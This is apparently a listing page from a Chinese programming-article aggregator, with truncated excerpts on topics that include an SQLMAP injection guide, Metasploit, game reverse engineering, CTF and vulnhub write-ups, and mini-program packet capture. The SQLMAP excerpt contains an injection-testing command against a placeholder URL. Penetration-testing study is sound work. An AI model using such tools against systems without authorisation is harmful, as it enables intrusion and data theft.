    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more